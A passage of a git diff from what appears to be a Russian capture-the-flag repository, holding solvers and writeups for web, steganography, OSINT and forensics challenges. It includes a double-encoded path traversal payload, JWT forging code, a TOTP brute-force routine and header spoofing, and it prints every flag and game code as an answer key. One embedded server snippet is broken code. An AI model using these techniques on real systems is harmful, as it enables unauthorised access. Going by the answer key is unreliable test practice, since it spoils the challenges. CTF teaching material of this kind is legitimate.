flag, game_code = fetch_flag(session_opener, base_url)
print(f"user={user}")
print(f"pass={password}")
print(f"otp_secret={candidate}")
if flag:
print(flag)
if game_code:
print(game_code)
return
attempts += 1
print("OTP secret not found in search space.", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()

91
GAME/narod/writeup.md Normal file
View File

@@ -0,0 +1,91 @@
# NarodUslugi - полный разбор (пошагово)
Этот разбор объясняет, как устроен сервис и как решатель получает флаг.
Ссылки идут на локальные файлы задачи в этой директории.
## 1) Входные данные и их источники
- URL цели, partA и user можно читать из `target.txt` или передать через CLI.
- Поведение сервера описано в `files/server.js`.
- Логика решателя находится в `solver.py`.
- Значения окружения указаны в `web_naroduslugi_6.yml`.
## 2) Формула пароля (на сервере)
В `files/server.js` сервер считает пароль так:
- `PASS = sha1(f"{PWD_PART_A}:{PWD_PART_B}").hexdigest()[:12]`
`partA` у нас есть, но `partB` скрыт.
## 3) Где спрятан partB
Эндпоинт `/assets/app.js.map` отдает sourcemap со строкой:
- `pepper_xor_hex` (hex-строка)
Она вычисляется так:
- `pepper_xor_hex = xorHex(PWD_PART_B, sha1(user)[:6])`
Значит `partB` можно восстановить, если известен `user`.
## 4) Как восстановить partB
Шаги, которые делает `solver.py`:
1. `mask = sha1(user).digest()[:6]`
2. Преобразовать `pepper_xor_hex` в байты.
3. XOR-нуть каждый байт с `mask` (по кругу).
4. Декодировать результат как UTF-8 и получить `partB`.
После этого вычисляется пароль:
- `password = sha1(f"{partA}:{partB}").hexdigest()[:12]`
## 5) Trusted-device логин для доступа к экспорту профиля
Есть альтернативная авторизация, описанная в `/.well-known/`:
- Заголовки: `X-TS` и `X-Trusted-Device`
- `X-Trusted-Device = hex(hmac_sha1(pass, ts))`
- `ts` должен быть в окне 120 секунд
Если заголовки валидны, сессия помечается как `mfa=true`, но
`mfaOtp=false`. Это дает доступ к `/profile` и `/profile/export`.
## 6) Экспорт OTP-секрета отдается с маской
`/profile/export?fmt=ini` возвращает:
- `otp_secret` с заменой последних 2 base32-символов на `??`
Есть CSRF-проверка: нужен `Referer: /profile`.
Решатель выставляет этот заголовок.
## 7) Брут последних 2 base32-символов
Алфавит base32 длиной 32, значит всего 32 * 32 = 1024 вариантов.
Решатель перебирает все кандидаты:
1. Логинится обычным способом (без trusted заголовков).
2. Считает TOTP для кандидата.
3. POST на `/mfa` с `otp`.
4. При успехе открывает `/wallet` и `/wallet/drain`.
## 8) Синхронизация времени
Решатель читает `/__status__`, чтобы получить смещение времени сервера
и учитывать его при генерации TOTP (защита от дрейфа часов).
## 9) Получение флага
Если OTP верный, сессия получает `mfaOtp=true`, и `/wallet/drain`
возвращает флаг.
## 10) Важные ловушки
- Повторный trusted-логин во время активного окна доверия вызывает бан.
- Если trusted-сессия протухла без OTP, при следующем запросе будет бан.
- Решатель использует отдельные cookie-jar и лимит попыток на сессию.

View File

@@ -0,0 +1,18 @@
GameStegoAudio | Stego | Medium?
## Автор
instanc3:@instanc3
## Информация для участников
## Выдать участникам
Аудио файл: some_secret.wav
## Решение
1. Понять, что информация скрыта в правом канале → проверить распределение LSB по каналам/участкам.
2. Замечаем, что данные начинаются после ~1 с и идут через один.
3. Считать LSB правого канала с skip=1s, step=2, собрать в байты (MSB→LSB).
4. Увидеть заголовок STAG, прочитать длину и CRC, взять полезную нагрузку, zlib-decompress → получить caplag{...}.
## Флаг
`caplag{gam3_au1d0_st3g0_1s_d0n3}`

View File

@@ -0,0 +1,68 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import wave
import struct
import zlib
import numpy as np
SR = 44100
SKIP_SEC = 1.0
STEP = 2
IN_WAV = "some_secret.wav"
def read_wav_int16(path: str):
with wave.open(path, "rb") as wf:
assert wf.getnchannels() == 2
assert wf.getsampwidth() == 2
sr = wf.getframerate()
frames = wf.readframes(wf.getnframes())
arr = np.frombuffer(frames, dtype=np.int16).reshape(-1, 2)
return sr, arr
def bits_to_bytes_big_endian(bits: np.ndarray) -> bytes:
# Длина должна быть кратна 8
n = (bits.size + 7) // 8 * 8
if n != bits.size:
bits = np.pad(bits, (0, n - bits.size), constant_values=0)
by = np.packbits(bits.astype(np.uint8), bitorder='big').tobytes()
return by
def extract_header_and_length(right: np.ndarray, sr: int):
skip = int(sr * SKIP_SEC)
# Считываем первые 12 байт (заголовок: 4 + 4 + 4)
header_bits_count = 12 * 8
idxs = skip + np.arange(header_bits_count) * STEP
bits = (right[idxs] & 1).astype(np.uint8)
header = bits_to_bytes_big_endian(bits)
magic = header[:4]
if magic != b"STAG":
raise ValueError("Магия заголовка не совпала — это не тот контейнер.")
length = struct.unpack(">I", header[4:8])[0]
crc = struct.unpack(">I", header[8:12])[0]
return length, crc
def extract_all(sr: int, stereo: np.ndarray):
right = stereo[:, 1]
length, crc_expected = extract_header_and_length(right, sr)
total_bytes = 12 + length
total_bits = total_bytes * 8
skip = int(sr * SKIP_SEC)
idxs = skip + np.arange(total_bits) * STEP
bits = (right[idxs] & 1).astype(np.uint8)
data = bits_to_bytes_big_endian(bits)
header = data[:12]
payload = data[12:12+length]
crc_actual = zlib.crc32(payload) & 0xFFFFFFFF
if crc_actual != crc_expected:
raise ValueError("CRC не сошлась — данные повреждены или неверные параметры извлечения.")
flag = zlib.decompress(payload).decode("utf-8")
return flag
def main():
sr, stereo = read_wav_int16(IN_WAV)
flag = extract_all(sr, stereo)
print("[+] DATA [ ", flag, " ]")
if __name__ == "__main__":
main()

70
GAME/nas/writeup.md Normal file
View File

@@ -0,0 +1,70 @@
# Writeup для NAS (русская версия)
## Цель
Зайти в хранилище
## 1 Задание Посчитать пароль админа и войти
Пароль админа — первые 12 символов:
```
sha1(KETTLE_PROOF + ":" + PRINTER_PROOF) находим из исходников репозитория
Входим
```
Пример:
```python
import hashlib
admin_pass = hashlib.sha1(f"{KETTLE_PROOF}:{PRINTER_PROOF}".encode()).hexdigest()[:12]
print(admin_pass)
```
Логин: `/login` с:
```
username=admin
password=<admin_pass>
```
Сохраните cookie `sid` из ответа.
Получаем доступ к файлу .wav
Дальше решение из папки Stegano.
## 2 задание Сковать bearer JWT и забрать финальный флаг
`/admin/flag` требует:
- cookie `sid` (админская сессия)
- `Authorization: Bearer <jwt>`
Ограничения на payload:
- `role: "admin"`
- `kpf: <KETTLE_PROOF>`
- `aud: "nas-admin"`
- `iat`: текущее UNIXвремя (допуск примерно ±120 сек)
Пример:
```python
import time, jwt
payload = {
"role": "admin",
"kpf": KETTLE_PROOF,
"aud": "nas-admin",
"iat": int(time.time()),
}
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
print(token)
```
Запрос:
```
GET /admin/flag
Cookie: sid=<sid>
Authorization: Bearer <token>
```
В ответе — финальный флаг.

433
GAME/osint/gen.py Normal file
View File

@@ -0,0 +1,433 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
forge_repo_staging.py — генерирует публичный репозиторий с 500+ коммитами.
Строка mesh: "OH-21B4" и base64-флаг встречаются РОВНО в одном коммите ветки
`staging/router-mesh`. В main их нет (ветка смёржена через --squash).
Можно сразу запушить: python3 forge_repo_staging.py --push <git-url>
Или задать автора: --author-name "Имя" --author-email you@example.com
"""
import os, sys, json, random, subprocess, shutil, argparse, base64, re
from datetime import datetime, timedelta, timezone
# -------- параметры по умолчанию --------
REPO_NAME = "iot-suite-repo-mega-fixed"
BRANCH_SECRET = "staging/router-mesh"
FEATURE_BRANCHES = [
("feature/ui-polish", 6),
("hotfix/diag-timeout", 3),
("refactor/router-cfg", 5),
]
MAIN_COMMITS = 520 # шумовых коммитов в main
TIME_START = datetime(2023, 3, 1, 10, 0, tzinfo=timezone(timedelta(hours=1)))
STEP_MAIN = timedelta(hours=6)
STEP_BRANCH = timedelta(hours=2)
AUTHORS_DEFAULT = [
("Natalie Orlov", "natalie@orbital.home"),
("Anton Lebedev", "anton@orbital.home"),
("Nina Petrova", "nina@orbital.home"),
("Mark Isaev", "mark@orbital.home"),
("QA Bot", "qa-bot@orbital.home"),
]
NOISE_MESSAGES = [
"docs: update changelog", "chore: reformat", "ci: bump node action",
"router: refactor logger", "kettle: tweak diag", "nas: session cleanup",
"printer: queue cosmetics", "deps: bump ejs", "deps: bump express",
"test: deflake", "build: docker cache", "perf: micro-opt",
"style: trailing space", "docs: badges",
]
FLAG_PLAINTEXT = "caplag{Orb1ta1-h0me-vendor-found-needed-branch-version}"
FLAG_B64 = base64.b64encode(FLAG_PLAINTEXT.encode()).decode()
def sh(args, cwd=None, env=None):
return subprocess.run(args, cwd=cwd, env=env, check=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout.strip()
def write(path, content, binary=False):
os.makedirs(os.path.dirname(path), exist_ok=True)
mode = "wb" if (binary or isinstance(content, (bytes, bytearray))) else "w"
with open(path, mode, encoding=None if mode=="wb" else "utf-8") as f:
f.write(content)
BASE_README = """# Orbital Home — IoT Suite (public)
Публичная версия кодовой базы для демонстраций: Router, Printer, Kettle, NAS.
Документация и закрытые части вырезаны.
"""
# ---------------- router (публичный минимальный) ----------------
ROUTER_SERVER = """import express from 'express';
import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const app = express();
const PORT = process.env.PORT || 8085;
const cfgPath = path.join(__dirname, 'config', 'router.json');
let cfg = JSON.parse(fs.readFileSync(cfgPath, 'utf-8'));
app.get('/info_connection', (req,res)=>{
res.json({ devices: [
{ name:'Printer', model:'PRN-3130', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://printer.local' },
{ name:'Kettle', model:'KTL-74C1', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://kettle.local' },
{ name:'NAS', model:'NAS-220', vendor: cfg.vendor, mesh: cfg.mesh, url: 'http://nas.local' }
]});
});
app.get('/', (req,res)=> res.type('text/plain').send('Router UI (public build)'));
app.listen(PORT, ()=> console.log(`[router-public] listening on ${PORT}`));
"""
ROUTER_PKG = {
"name":"router-public","version":"0.3.0","type":"module",
"scripts":{"start":"node server.js"},
"dependencies":{"express":"^4.19.2"}
}
# ---------------- printer (замаскированный) ----------------
PRINTER_SERVER_PUBLIC = """import express from 'express';
import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const app = express();
const PORT = process.env.PORT || 8080;
const QUEUE_DIR = path.join(__dirname, 'data', 'queue');
// <redacted>: private build may include additional endpoints and auth
app.get('/', (req,res)=> res.type('text/plain').send('Printer UI (public build)'));
app.get('/jobs/preview', (req,res)=>{
const name = String(req.query.file||'').replace(/\\\\/g,'/');
if (!name || name.includes('..') || path.isAbsolute(name)) return res.status(400).send('bad path');
const abs = path.join(QUEUE_DIR, path.normalize(name));
if (!abs.startsWith(QUEUE_DIR)) return res.status(400).send('bad path');
if (!fs.existsSync(abs)) return res.status(404).send('not found');
fs.createReadStream(abs).pipe(res);
});
app.get('/go', (req,res)=>{
const u = String(req.query.u||'');
if (/^https?:\\/\\//i.test(u)) return res.redirect(302,u);
res.redirect('/');
});
app.get('/robots.txt', (req,res)=> res.type('text/plain').send('User-agent: *\\nDisallow:\\n'));
app.listen(PORT, ()=> console.log(`[printer-public] listening on ${PORT}`));
"""
PRINTER_PKG_PUBLIC = {
"name":"printer-public","version":"0.3.0","type":"module",
"scripts":{"start":"node server.js"},
"dependencies":{"express":"^4.19.2"}
}
# ---------------- kettle (замаскированный) ----------------
KETTLE_SERVER_PUBLIC = """import express from 'express';
import path from 'path';
import { fileURLToPath } from 'url';
// import axios from 'axios'; // <redacted>
// import crypto from 'crypto'; // <redacted>
// const PRINTER_PROOF = process.env.PRINTER_PROOF; // <redacted>
// const KETTLE_NONCE = process.env.KETTLE_NONCE; // <redacted>
// const KETTLE_SHARED_KEY = process.env.KETTLE_SHARED_KEY; // <redacted>
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const app = express();
const PORT = process.env.PORT || 8081;
app.get('/', (req,res)=> res.redirect('/diagnostics'));
app.get('/diagnostics', (req,res)=>{
// In private build this page exposes limited device info and triggers telemetry.
res.type('text/plain').send('Kettle diagnostics (public build)');
});
app.post('/diagnostics/fetch', (req,res)=>{
// <redacted>: route-signature-based fetch via internal gateway
// key = (PRINTER_PROOF + ":" + KETTLE_NONCE).encode()
//mac = hmac.new(key, (url + '\n' + ts).encode(), hashlib.sha256).hexdigest()
res.status(501).type('text/plain').send('disabled in public build');
});
app.get('/assets/badge.svg', (req,res)=>{
res.type('image/svg+xml').send('<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20"><circle cx="10" cy="10" r="7" fill="#5c7cfa"/></svg>');
});
app.listen(PORT, ()=> console.log(`[kettle-public] listening on ${PORT}`));
"""
KETTLE_PKG_PUBLIC = {
"name":"kettle-public","version":"0.3.0","type":"module",
"scripts":{"start":"node server.js"},
"dependencies":{"express":"^4.19.2"}
}
# ---------------- nas (замаскированный) ----------------
NAS_SERVER_PUBLIC = """import express from 'express';
import path from 'path';
import { fileURLToPath } from 'url';
// import jwt from 'jsonwebtoken'; // <redacted>
// import crypto from 'crypto'; // <redacted>
// const JWT_SECRET = process.env.JWT_SECRET; // <redacted>
// const KETTLE_SHARED_KEY = process.env.KETTLE_SHARED_KEY; // <redacted>
const __dirname = path.dirname(fileURLToPath(import.meta.url));
const app = express();
const PORT = process.env.PORT || 5000;
app.use(express.urlencoded({ extended:false }));
app.use(express.json());
app.get('/', (req,res)=> res.redirect('/login'));
app.get('/login', (req,res)=> res.type('text/plain').send('NAS login (public build)'));
app.post('/login', (req,res)=> res.status(501).send('disabled in public build'));
// admin_pass = hashlib.sha1((KETTLE_PROOF + ":" + PRINTER_PROOF).encode()).hexdigest()[:12]
app.get('/internal/hint', (req,res)=>{
// <redacted> internal gateway-only endpoint (requires shared key + route sign)
res.status(403).type('text/plain').send('forbidden (public build)');
});
app.get('/admin/flag', (req,res)=> res.status(404).send('not found'));
const auth = req.headers.authorization || '';
const token = auth.replace(/^Bearer\s+/,'');
try{
const payload = jwt.verify(token, JWT_SECRET, { algorithms:['HS256'] });
if (payload.role !== 'admin') return res.status(403).send('need admin role');
if (payload.kpf !== KETTLE_PROOF) return res.status(403).send('incorrect kpf');
if (payload.aud !== 'nas-admin') return res.status(403).send('bad aud');
const now = Math.floor(Date.now()/1000);
if (!payload.iat || Math.abs(now - payload.iat) > 120) return res.status(403).send('iat too old');
app.listen(PORT, ()=> console.log(`[nas-public] listening on ${PORT}`));
"""
NAS_PKG_PUBLIC = {
"name":"nas-public","version":"0.3.0","type":"module",
"scripts":{"start":"node server.js"},
"dependencies":{"express":"^4.19.2"}
}
def commit(root, message, when, author):
sh(["git","add","-A"], cwd=root)
env = os.environ.copy()
env.update({
"GIT_AUTHOR_NAME": author[0], "GIT_AUTHOR_EMAIL": author[1],
"GIT_COMMITTER_NAME": author[0], "GIT_COMMITTER_EMAIL": author[1],
"GIT_AUTHOR_DATE": when.isoformat(),
"GIT_COMMITTER_DATE": when.isoformat(),
})
sh(["git","commit","-m", message], cwd=root, env=env)
def set_mesh(root, value):
cfgp = os.path.join(root,"router/config/router.json")
with open(cfgp,"r+",encoding="utf-8") as f:
data = json.load(f)
data["mesh"] = value
f.seek(0); json.dump(data, f, indent=2); f.truncate()
def add_vendor_note(root, b64text):
p = os.path.join(root,"router/server.js")
with open(p,"a",encoding="utf-8") as f:
f.write(f"\n// vendor-note: {b64text}\n")
def remove_vendor_note(root):
p = os.path.join(root,"router/server.js")
with open(p,"r",encoding="utf-8") as f:
s = f.read()
s = re.sub(r"\n?//\s*vendor-note:[^\n]*\n?", "\n", s, flags=re.IGNORECASE)
with open(p,"w",encoding="utf-8") as f:
f.write(s)
def add_trailing_space_lines(path):
with open(path, "r", encoding="utf-8") as f:
lines = f.read().splitlines()
with open(path, "w", encoding="utf-8") as f:
for line in lines:
f.write(line.rstrip(" ") + " \n")
def strip_trailing_space_lines(path):
with open(path, "r", encoding="utf-8") as f:
lines = f.read().splitlines()
with open(path, "w", encoding="utf-8") as f:
for line in lines:
f.write(line.rstrip(" ") + "\n")
def snapshot_public_sources(root):
for rel in ("kettle/server.js", "nas/server.js"):
add_trailing_space_lines(os.path.join(root, rel))
def restore_public_sources(root):
for rel in ("kettle/server.js", "nas/server.js"):
strip_trailing_space_lines(os.path.join(root, rel))
def mutate_noise(root, i):
choice = random.choice(["docs","router","printer","kettle","nas"])
if choice == "docs":
p = os.path.join(root,"docs/CHANGELOG.md")
with open(p,"a",encoding="utf-8") as f:
f.write(f"- maintenance {i}\n")
elif choice in ("router","printer","kettle","nas"):
p = os.path.join(root, f"{choice}/server.js") if choice=="router" else os.path.join(root,f"{choice}/server.js")
# лёгкая косметика-комментарий
with open(p,"a",encoding="utf-8") as f:
f.write(f"\n// note: minor tweak {i}\n")
def init_repo(root, primary_author, authors):
if os.path.exists(root):
shutil.rmtree(root)
os.makedirs(root, exist_ok=True)
sh(["git","init","--initial-branch=main"], cwd=root)
write(os.path.join(root,"README.md"), BASE_README)
write(os.path.join(root,"docs/CHANGELOG.md"), "## Changelog (public)\n")
# router
write(os.path.join(root,"router/server.js"), ROUTER_SERVER)
write(os.path.join(root,"router/package.json"), json.dumps(ROUTER_PKG, indent=2, ensure_ascii=False))
write(os.path.join(root,"router/config/router.json"), json.dumps({"vendor":"Orbital Home","mesh":"OH-2194"}, indent=2))
# printer (публичный, безопасный)
write(os.path.join(root,"printer/server.js"), PRINTER_SERVER_PUBLIC)
write(os.path.join(root,"printer/package.json"), json.dumps(PRINTER_PKG_PUBLIC, indent=2, ensure_ascii=False))
write(os.path.join(root,"printer/data/queue/readme.txt"), "public job\n")
# kettle (публичный, урезанный)
write(os.path.join(root,"kettle/server.js"), KETTLE_SERVER_PUBLIC)
write(os.path.join(root,"kettle/package.json"), json.dumps(KETTLE_PKG_PUBLIC, indent=2, ensure_ascii=False))
# nas (публичный, урезанный)
write(os.path.join(root,"nas/server.js"), NAS_SERVER_PUBLIC)
write(os.path.join(root,"nas/package.json"), json.dumps(NAS_PKG_PUBLIC, indent=2, ensure_ascii=False))
commit(root, "init(public): scaffold modules", TIME_START, primary_author)
def build_main(root, authors):
t = TIME_START
for i in range(1, MAIN_COMMITS+1):
t = t + STEP_MAIN + timedelta(minutes=random.randint(0,59))
mutate_noise(root, i)
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
return t
def merge_noff(root, branch_name, message, when, author):
sh(["git","checkout","main"], cwd=root)
sh(["git","merge","--no-ff", branch_name, "-m", message], cwd=root)
def build_feature_branch(root, name, commits, base_time, authors):
sh(["git","checkout","-b", name], cwd=root)
t = base_time
for i in range(commits):
t = t + STEP_BRANCH + timedelta(minutes=random.randint(0,40))
mutate_noise(root, 5000+i)
commit(root, f"{name}: routine update {i+1}", t, random.choice(authors))
merge_noff(root, name, f"merge: {name}", t + timedelta(minutes=5), random.choice(authors))
sh(["git","branch","-d", name], cwd=root)
def build_secret_branch(root, base_time, authors):
# ответвиться от текущего HEAD main
sh(["git","checkout","-b", BRANCH_SECRET], cwd=root)
t = base_time
# немного шума до секрета
for i in range(2):
t = t + STEP_BRANCH + timedelta(minutes=random.randint(0,30))
mutate_noise(root, 8000+i)
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
# СЕКРЕТНЫЙ КОММИТ: OH-21B4 + base64-флаг как комментарий в router/server.js
t = t + STEP_BRANCH
set_mesh(root, "OH-21B4")
add_vendor_note(root, FLAG_B64)
snapshot_public_sources(root)
commit(root, "router: set mesh id in config (staging bench)", t, random.choice(authors))
# ещё шум
for i in range(2):
t = t + STEP_BRANCH
mutate_noise(root, 8100+i)
commit(root, random.choice(NOISE_MESSAGES), t, random.choice(authors))
# вернуть прод-значение и удалить комментарий
t = t + STEP_BRANCH
set_mesh(root, "OH-2194")
remove_vendor_note(root)
restore_public_sources(root)
commit(root, "router: revert mesh id to production", t, random.choice(authors))
# финальный шум на ветке
t = t + STEP_BRANCH
mutate_noise(root, 8200)
commit(root, "chore: staging cleanup", t, random.choice(authors))
# squash-merge в main (в main ни OH-21B4, ни vendor-note не попадут)
sh(["git","checkout","main"], cwd=root)
sh(["git","merge","--squash", BRANCH_SECRET], cwd=root)
t = t + STEP_BRANCH
commit(root, f"merge: {BRANCH_SECRET}", t, random.choice(authors))
# Ветку НЕ удаляем — пусть живёт
def tag_releases(root):
sh(["git","tag","-a","v0.2.0","-m","public release 0.2.0"], cwd=root)
sh(["git","tag","-a","v0.3.0","-m","public release 0.3.0"], cwd=root)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--author-name", default=None, help="Primary author name")
parser.add_argument("--author-email", default=None, help="Primary author email")
parser.add_argument("--push", default=None, help="Git remote URL to push (SSH or HTTPS)")
args = parser.parse_args()
primary = (args.author_name or "Your Name", args.author_email or "you@example.com")
authors = [primary] + [a for a in AUTHORS_DEFAULT if a[1] != primary[1]]
random.seed(42)
root = os.path.abspath(REPO_NAME)
init_repo(root, primary, authors)
t_end_main = build_main(root, authors)
# пара симпатичных merge-веток
for name, count in FEATURE_BRANCHES:
build_feature_branch(root, name, count, t_end_main, authors)
t_end_main = t_end_main + timedelta(hours=1)
# секретная ветка
build_secret_branch(root, t_end_main, authors)
tag_releases(root)
print(f"[ok] repo created: {root}")
print("\nПроверка локально:")
print(" cd", REPO_NAME)
print(" git log -S 'OH-21B4' --all --oneline")
print(" git grep -n 'OH-21B4' $(git rev-list --all)")
print(" git show $(git log -S 'OH-21B4' --all -n 1 --pretty=%H) | grep -i 'vendor-note'")
print("\nПуш в GitHub вручную:")
print(" git remote add origin <YOUR_GITHUB_REPO_URL>")
print(" git push -u origin --all --tags")
if args.push:
sh(["git","remote","add","origin", args.push], cwd=root)
sh(["git","push","-u","origin","--all"], cwd=root)
sh(["git","push","origin","--tags"], cwd=root)
print("[ok] pushed to:", args.push)
print("Проверь ветки/теги на GitHub UI.")
if __name__ == "__main__":
main()

92
GAME/osint/solver.py Normal file
View File

@@ -0,0 +1,92 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import base64
import re
import subprocess
from pathlib import Path
def sh(args, cwd=None):
proc = subprocess.run(
args, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True
)
if proc.returncode != 0:
err = proc.stderr.strip() or proc.stdout.strip()
cmd = " ".join(args)
raise SystemExit(f"command failed: {cmd}\n{err}")
return proc.stdout.strip()
def default_clone_dir(repo_url, base_dir):
name = repo_url.rstrip("/").split("/")[-1]
if name.endswith(".git"):
name = name[:-4]
return base_dir / (name or "repo")
def commit_candidates(repo_dir):
patterns = ("vendor-note", "OH-21B4")
for pattern in patterns:
out = sh(["git", "log", "-S", pattern, "--all", "--pretty=%H"], cwd=repo_dir)
commits = [line.strip() for line in out.splitlines() if line.strip()]
if commits:
return commits
return []
def find_vendor_note(repo_dir):
for commit in commit_candidates(repo_dir):
try:
src = sh(["git", "show", f"{commit}:router/server.js"], cwd=repo_dir)
except subprocess.CalledProcessError:
continue
match = re.search(r"vendor-note:\s*([A-Za-z0-9+/=]+)", src)
if not match:
continue
b64_note = match.group(1)
flag = base64.b64decode(b64_note).decode("utf-8", "replace")
return commit, b64_note, flag
raise SystemExit("vendor-note not found in history")
def dump_sources(repo_dir, commit):
paths = [
"router/server.js",
"router/config/router.json",
"printer/server.js",
"kettle/server.js",
"nas/server.js",
]
for rel in paths:
content = sh(["git", "show", f"{commit}:{rel}"], cwd=repo_dir)
print(f"\n--- {rel} @ {commit} ---")
print(content.rstrip("\n"))
def main():
parser = argparse.ArgumentParser()
parser.add_argument("repo", help="Git URL or local path")
parser.add_argument("--dest", default=None, help="Clone directory (default: <script_dir>/<repo>)")
args = parser.parse_args()
base_dir = Path(__file__).resolve().parent
clone_dir = Path(args.dest).resolve() if args.dest else default_clone_dir(args.repo, base_dir)
if clone_dir.exists():
print(f"[i] using existing repo: {clone_dir}")
else:
print(f"[i] cloning into: {clone_dir}")
sh(["git", "clone", args.repo, str(clone_dir)])
sh(["git", "fetch", "--all", "--prune"], cwd=clone_dir)
commit, b64_note, flag = find_vendor_note(clone_dir)
print(f"[ok] clone_dir: {clone_dir}")
print(f"[ok] commit: {commit}")
print(f"[ok] vendor_note_b64: {b64_note}")
print(f"[ok] flag: {flag}")
dump_sources(clone_dir, commit)
if __name__ == "__main__":
main()

60
GAME/osint/writeup.md Normal file
View File

@@ -0,0 +1,60 @@
# Writeup: Orbital Home / OH-21B4
## Вводные из игры
Участники получили две зацепки: название производителя `Orbital Home` и параметр `mesh` со значением `OH-21B4` (в легенде мог быть написан как mash/mesh).
## Поиск репозитория
1) По ключу производителя:
- запросы: `"Orbital Home"`, `orbital.home`, `"Orbital Home" iot`.
- подсказка: в коммитах встречаются e-mailы вида `@orbital.home`, что хорошо ищется по GitHub.
2) По связке с mesh:
- запросы: `"OH-21B4" github`, `"mesh" "Orbital Home"`.
В результате находится публичный репозиторий с IoT-модулями (router/printer/kettle/nas). В README он описан как публичная сборка «Orbital Home IoT Suite».
## Что внутри репозитория
- `router/` — сервис роутера и `config/router.json` с полями `vendor` и `mesh`.
- `printer/`, `kettle/`, `nas/` — публичные версии сервисов (функции урезаны, часть эндпоинтов закомментирована).
- История содержит доп. ветку `staging/router-mesh`, где во время стендовых проверок меняли `mesh`.
## Как извлечь артефакт
1) Клонировать репозиторий и посмотреть все ветки:
```bash
git clone <repo-url>
cd <repo>
git branch -a
```
2) Поискать `OH-21B4` по истории всех веток:
```bash
git log --all -S "OH-21B4" --oneline
# или
git grep -n "OH-21B4" $(git rev-list --all)
```
3) Открыть найденный коммит:
```bash
git show <commit>:router/config/router.json
git show <commit>:router/server.js
```
В `router/server.js` обнаруживается строка вида:
```
// vendor-note: <base64>
```
4) Декодировать base64:
```bash
echo <base64> | base64 -d
```
Получаем флаг:
```
caplag{Orb1ta1-h0me-vendor-found-needed-branch-version}
```

39
GAME/printer/WRITEUP.md Normal file
View File

@@ -0,0 +1,39 @@
# Printer — разбор решения
## Разведка
- Главная страница `/` показывает список файлов в очереди печати.
- Роут `/jobs/preview?file=...` отдаёт файл из `data/queue`.
- В очереди есть `readme.txt`, где подсказаны каталоги `/data/notes` и `/data/queue`.
## Уязвимость
В `/jobs/preview` путь для чтения строится так:
1) `once = decodeURIComponent(raw)`
2) Проверка `once.includes('..')`
3) `p = decodeURIComponent(once)` (возможен и третий decode)
4) `path.join(QUEUE_DIR, p)`
Проверка на `..` делается только после первого декодирования. Если закодировать точки дважды, первая проверка их не увидит, а после второго decode появится `..` и сработает обход в `../`.
## Эксплуатация
Дважды кодируем `..` и `/`:
- `..``%2e%2e``%252e%252e`
- `/``%2f``%252f`
Запрос:
```
/jobs/preview?file=%252e%252e%252fnotes%252fflag.txt
```
Промежуточные преобразования:
- после первого decode: `%2e%2e%2fnotes%2fflag.txt` (нет `..`)
- после второго decode: `../notes/flag.txt`
`path.join` формирует путь `data/queue/../notes/flag.txt`, что приводит к чтению флага.
## Результат
Ответ содержит содержимое `flag.txt`, включая флаг:
```
caplag{chain_m_printer_traversa}
PRINTER_PROOF=printer-proof-3d3130
GAME_code=Printer-1s-down-move-next
```

22
GAME/router/README.md Normal file
View File

@@ -0,0 +1,22 @@
TechnicalTroubles | Web | Easy
## Автор
instanc3:@instanc3
## Информация для участников
Опять какие-то неполадки, когда сайт так нужен. Может смогу найти обходной путь, если заглянуть с изнанки.
## Решение
1. Пройти на страницу "Routers"
2. Указываем в поле ввода модель роутера, которую получили из игры. В ответ приходит сообщение, что на сайте технические работы в определенное время.
3. Заходим в инструменты разработчика и наблюдаем, что в запросе имеется кастомный заголовок "X-Send-Time", который содержит текущее время участника.
4. Необходимо указать в этом заголовке время, которое не попадает под время технического обслуживания.
5. После успешного подбора времени придет ответ от сервера, что у нас неверный UserAgent ("Incorrect User-Agent. Hint: SHA256(<BrowserName>/<BVer> (<OSName> <OSVer>; <Arch>) <EngineName>/<EVer>) == {}").
6. Данные для заполнения UserAgent необходимо найти во внутриигровом браузере. Информация расбросана по параметрам системы и браузера.
8. После успешного подбора участник получит флаг и код, который необходимо ввести в игре.
## Флаг
`caplag{4r!eNd_@m0ng_$tranGer$}`
## Код для игры
`SVC-2025-7438382`

View File

@@ -0,0 +1,13 @@
## Информация для участников
Вы обнаружили загадочное изображение layered_code.png, которое, по слухам, скрывает секретный флаг. Раскройте тайну, спрятанную в его пикселях! Формат флага: caplag{...}
Порядок цвета может быть не таким, как вы привыкли видеть.
## Выдать участникам
- `public/layered_code.png`
## Решение
Решение с помощью stegsolve: [solve/solve with stegsolve.jpg](solve/solve with stegsolve.jpg)
## Флаг
`caplag{D0g3C01n_2Th3M00n}`

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 MiB

View File

@@ -0,0 +1,55 @@
## Q1) Укажите версию установленного Microsoft Office
1) Проверили файл `C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE`.
2) Из PEресурса `FileVersion/ProductVersion` получил версию.
Итог: `caplag{12.0.4518.1014}`
## Q2) Определите начальный вектор атаки. Укажите почту, откуда пришел вирусный файл и название файла (с расширением). формат: email_filename
1) В профиле Thunderbird открыли письмо: `C:\Users\PC31\AppData\Roaming\thunderbird\Profiles\g59pkejj.default-release\Mail\Local Folders\mail.eml`.
2) В заголовках письма: `From: "HR Department" <hr@gdhwiXzuedhi.org>`.
3) Во вложениях письма: `filename="shtatnoe-raspisanie.xlsm"`.
Итог: `caplag{hr@gdhwiXzuedhi.org_shtatnoe-raspisanie.xlsm}`
## Q3) Укажите ссылку, которая использовалась для загрузки и запуска второй стадии атаки
1) Открыли `C:\Users\PC31\Documents\shtatnoe-raspisanie.xlsm`.
